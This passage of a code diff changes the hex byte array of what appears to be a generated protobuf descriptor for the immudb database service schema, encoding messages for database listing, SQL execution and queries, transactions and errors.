0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, + 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, + 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, + 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, + 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, + 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, + 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, + 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, + 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, + 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, + 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, + 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, + 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, + 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, + 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, + 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, + 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, + 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, + 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, - 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, - 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, - 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, - 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, - 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, - 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, - 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, - 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, - 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, - 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, - 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, - 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, - 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, - 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, - 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, - 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, - 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, - 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, - 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, - 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, - 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, - 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, - 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, - 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, - 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, - 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, - 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, - 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, - 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 